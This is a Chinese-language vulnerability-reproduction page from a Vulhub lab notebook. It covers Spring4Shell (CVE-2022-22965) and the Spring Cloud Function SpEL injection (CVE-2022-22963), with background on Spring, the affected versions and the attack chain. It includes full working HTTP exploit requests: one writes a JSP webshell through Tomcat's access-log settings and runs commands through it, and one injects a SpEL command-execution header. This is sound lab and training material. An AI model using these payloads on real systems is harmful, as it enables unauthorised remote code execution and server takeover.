漏洞复现
Vulhub-漏洞环境搭建
1panel
Bash
Tomcat
Siro框架漏洞
Apache Struts2
Apache 中间件
ThinkPHP框架漏洞
MySQL写入shell
Redis
MySQL提权
Fastjson反序列化漏洞
Spring
Jenkins
WebLogic
-
+
首页
Spring
 ## 概述 Spring 是开源的 Java 企业级应用开发框架,由 Rod Johnson 于 2003 年首次发布,目前由 Apache 软件基金会维护。其核心目标是简化 Java 开发,通过提供统一的架构和组件,解决企业级应用开发中的复杂性(如对象管理、事务控制、依赖耦合等问题)。 Spring 并非单一框架,而是一个生态系统的基础,衍生出 Spring Boot(快速开发)、Spring Cloud(微服务)、Spring Security(安全)等子项目,覆盖从单体应用到分布式系统的全场景开发需求。 目前,Spring 已成为 Java 开发的事实标准,90% 以上的 Java 企业级应用(如电商平台、金融系统、政务系统)均基于 Spring 构建。 ### 特点 1、控制反转(IoC,Inversion of Control):解耦的核心 - 定义:将对象的创建、依赖管理等控制权从业务代码转移到 Spring 容器(IoC 容器),而非由开发者手动new对象或维护依赖关系。 2、面向切面编程(AOP,Aspect-Oriented Programming):分离横切关注点 - 定义:将日志记录、事务控制、权限校验等 “横切关注点”(跨多个业务模块的通用功能)从业务逻辑中剥离,单独封装为 “切面”(Aspect),通过动态代理自动织入业务流程。 3、一站式框架:整合全场景开发需求 Spring 提供了覆盖 Java 开发全流程的组件,无需单独整合多个框架,降低技术栈复杂度: - 数据访问:通过 Spring JDBC 简化数据库操作,整合 MyBatis、Hibernate 等 ORM 框架; - Web 开发:Spring MVC 提供 RESTful 接口开发能力,替代传统 Servlet; - 安全控制:Spring Security 处理认证、授权、防攻击(如 CSRF、XSS); - 消息队列:整合 RabbitMQ、Kafka 等消息中间件; - 测试支持:Spring Test 简化单元测试和集成测试,支持 Mock 对象、事务回滚等。 4、声明式编程:简化配置与逻辑 Spring 推崇 “声明式编程” 而非 “命令式编程”,开发者只需声明 “做什么”,无需关心 “怎么做” 5、轻量级与可扩展性 - 轻量级:核心模块(spring-core、spring-beans)体积小(仅几百 KB),无强制依赖,可按需引入组件(如仅用 IoC 容器,或仅用 AOP),不臃肿。 6、事务管理:统一且灵活 - Spring 提供声明式事务和编程式事务两种方式,其中声明式事务(通过注解或 XML 配置)是主流 ## CVE-2022-22965(Spring4Shell) ### 漏洞描述 Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期。 2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。 > 漏洞利用条件与限制 必要条件: - 应用使用受影响版本的 Spring Framework; - JDK 版本≥9(依赖Module和ClassLoader的访问路径); - 控制器方法参数为 “非基本类型”(如User、Object,而非String、int); - 使用 Tomcat 作为 Servlet 容器(且以 WAR 包部署或使用内嵌 Tomcat)。 限制条件: - 若应用使用 Jetty、Undertow 等其他容器,无法利用(因无AccessLogValve组件); - 若控制器参数为基本类型(如@RequestParam String name),无法触发嵌套属性绑定; - JDK 8 及以下环境不受影响(无Module类)。 ### 漏洞版本 Spring Framework:5.3.0 ~ 5.3.17、5.2.0 ~ 5.2.19 ### 漏洞原理 漏洞的核心是Spring MVC 参数绑定机制的缺陷,攻击者可通过构造恶意请求参数,篡改 Tomcat 的日志配置,最终写入恶意 JSP 文件实现代码执行。 整个攻击链分为 4 个关键步骤: > 1、Spring MVC 参数绑定的 “过度灵活” Spring MVC 的参数绑定功能允许将 HTTP 请求参数自动映射到控制器方法的参数对象(如 POJO)的属性,支持 “嵌套属性” 语法(通过.访问多层属性)。例如,请求参数user.name=test会被绑定到User对象的name属性。 漏洞点:当控制器方法的参数为 “非基本类型”(如自定义 POJO、Object类型)时,Spring MVC 会通过反射递归解析参数名中的.,尝试绑定到对象的所有可访问属性,包括其父类、接口的属性。 - 即使参数对象中没有某个属性,Spring 仍会尝试通过setter方法或字段注入,这为攻击者提供了修改 “非预期对象” 属性的可能。 > 2、利用class属性访问底层类对象 在 Java 中,任何对象都有getClass()方法,返回其对应的Class对象;Class对象又有getModule()方法(JDK 9 + 新增),返回Module对象;Module对象可进一步获取类加载器(ClassLoader)等关键资源。 攻击者通过参数绑定的嵌套语法,可构造如下参数路径: ```java class.module.classLoader.resources.context.parent.pipeline.first.xxx ``` - class:获取当前对象的Class实例; - module:通过Class.getModule()获取Module对象; - classLoader:通过Module.getClassLoader()获取类加载器; - resources.context.parent.pipeline.first:最终定位到 Tomcat 的AccessLogValve(日志阀门组件,负责处理访问日志)。 > 3、篡改 Tomcat 日志配置 AccessLogValve是 Tomcat 用于记录访问日志的组件,其核心可配置属性包括: - directory:日志文件存储目录(默认logs/); - prefix:日志文件名前缀(默认access_log); - suffix:日志文件名后缀(默认.txt); - pattern:日志格式(定义日志内容的格式,如包含请求 URL、IP 等)。 攻击者通过参数绑定修改这些属性: - 将directory改为 Tomcat 的webapps/ROOT目录(该目录下的 JSP 文件可直接被访问执行); - 将suffix改为.jsp(使日志文件成为可执行的 JSP 文件); - 将pattern设为恶意 JSP 代码(如<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>)。 > 4、触发日志写入,生成 Webshell 当攻击者发送构造的请求后,Tomcat 会按照修改后的配置记录访问日志: - 恶意 JSP 代码被写入webapps/ROOT/\[prefix][date].[suffix](如shell.jsp); - 访问该 JSP 文件并传入cmd参数(如shell.jsp?cmd=whoami),即可执行任意系统命令。 ```url GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: 192.168.32.132:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1 ``` ### 漏洞复现 1、启动容器:  2、访问靶机环境:  3、传入name和age: ```url http://192.168.1.4:8080/?name=maolin&age=18 ```  4、抓取数据包,将数据包更改为以下修改好的Poc: ```http GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22连接密码%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=文件名(前缀名称)&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: 靶机IP地址:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1 ``` ```http GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=maolin&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: 192.168.1.4:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c1: Runtime c2: <% DNT: 1 ```  5、访问创建的文件: ```url http://192.168.1.4:8080/maolin.jsp?pwd=j&cmd=id ```    ## CVE-2022-22963 ### 漏洞描述 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。 spring.cloud.function.routing-expression 是 Spring Cloud Function 框架中的一个配置项(或请求头参数),用于动态路由函数调用。 其设计初衷是:根据运行时的条件(如请求参数、系统状态),通过 SpEL 表达式动态决定调用哪个函数处理请求,实现 “按需执行函数” 的灵活逻辑。 正常的路由表达式可能是: ```txt spring.cloud.function.routing-expression: "#input.startsWith('hello') ? 'helloFunction' : 'defaultFunction'" ``` 如果请求输入以 “hello” 开头,就调用名为helloFunction的函数;否则调用defaultFunction。 > 依赖环境 依赖环境:使用了 Spring Cloud Function 的 “函数路由” 功能(通过spring.cloud.function.routing-expression参数动态路由函数)。 > SpEL表达式 SpEL(Spring Expression Language,Spring 表达式语言)是 Spring 框架内置的表达式语言,用于在运行时查询和操作对象图,支持复杂的逻辑运算、属性访问、方法调用等。 SpEL 的核心是 “在 Spring 容器中动态求值”,解决传统硬编码无法满足的动态逻辑需求,例如: - 在 Spring 配置中动态获取 Bean 的属性(如@Value("#{systemProperties['user.name']}")); - 在 Spring Security 中定义复杂的权限规则(如@PreAuthorize("#user.id == authentication.principal.id")); - 在 Spring Cloud 中动态路由函数(如 CVE-2022-22963 涉及的路由表达式)。 | 操作 | 语法示例 | 描述 | | ------------ | ------------------------------ | ------------------------------------------------------------ | | 表达式模板 | "Hello, #{user.name}!" | 混合文本与表达式(#{}内为 SpEL 表达式,其余为普通文本,常用于@Value注解)。 | | 静态方法调用 | T(java.lang.Math).max(10, 20) | 调用类的静态方法,需用T(全类名)指定类(T是 Type 的缩写)。 | | 静态属性访问 | T(java.lang.Integer).MAX_VALUE | 访问类的静态属性(如Integer的最大值)。 | ### 漏洞版本 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2 ### 漏洞原理 Spring Cloud Function 是 Spring 生态中用于开发 Serverless 函数的框架,支持通过函数路由动态调用不同的函数(如根据请求参数决定执行哪个函数逻辑)。 其核心风险点在于对 “路由表达式” 的处理逻辑: - 路由表达式的动态解析:框架允许通过请求头(如spring.cloud.function.routing-expression)或配置参数指定 SpEL 表达式作为路由规则,例如: ```txt spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id") # T(java.lang.Runtime):获取Runtime类(SpEL 语法) ``` - SpEL 表达式的执行能力:SpEL 支持调用 Java 类的静态方法(如T(java.lang.Runtime).exec(...)),若攻击者控制了表达式内容,可直接构造执行系统命令的表达式。 漏洞利用链: - 攻击者向目标应用发送 HTTP 请求,在请求头中注入恶意 SpEL 表达式; - 框架将请求头中的表达式作为路由规则解析执行; - 恶意表达式被执行,触发远程代码执行。 ### 漏洞复现 1、启动容器:  2、访问靶机:  3、抓取数据包,修改请求方法、添加请求头: ```http POST /functionRouter HTTP/1.1 Host: 192.168.1.4:8080 Cache-Control: max-age=0 Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng-101.webp,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/maolin") Content-Type: text/plain Content-Length: 3 123 ```  4、在容器查看是否被创建成功: 
毛林
2025年11月1日 14:18
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码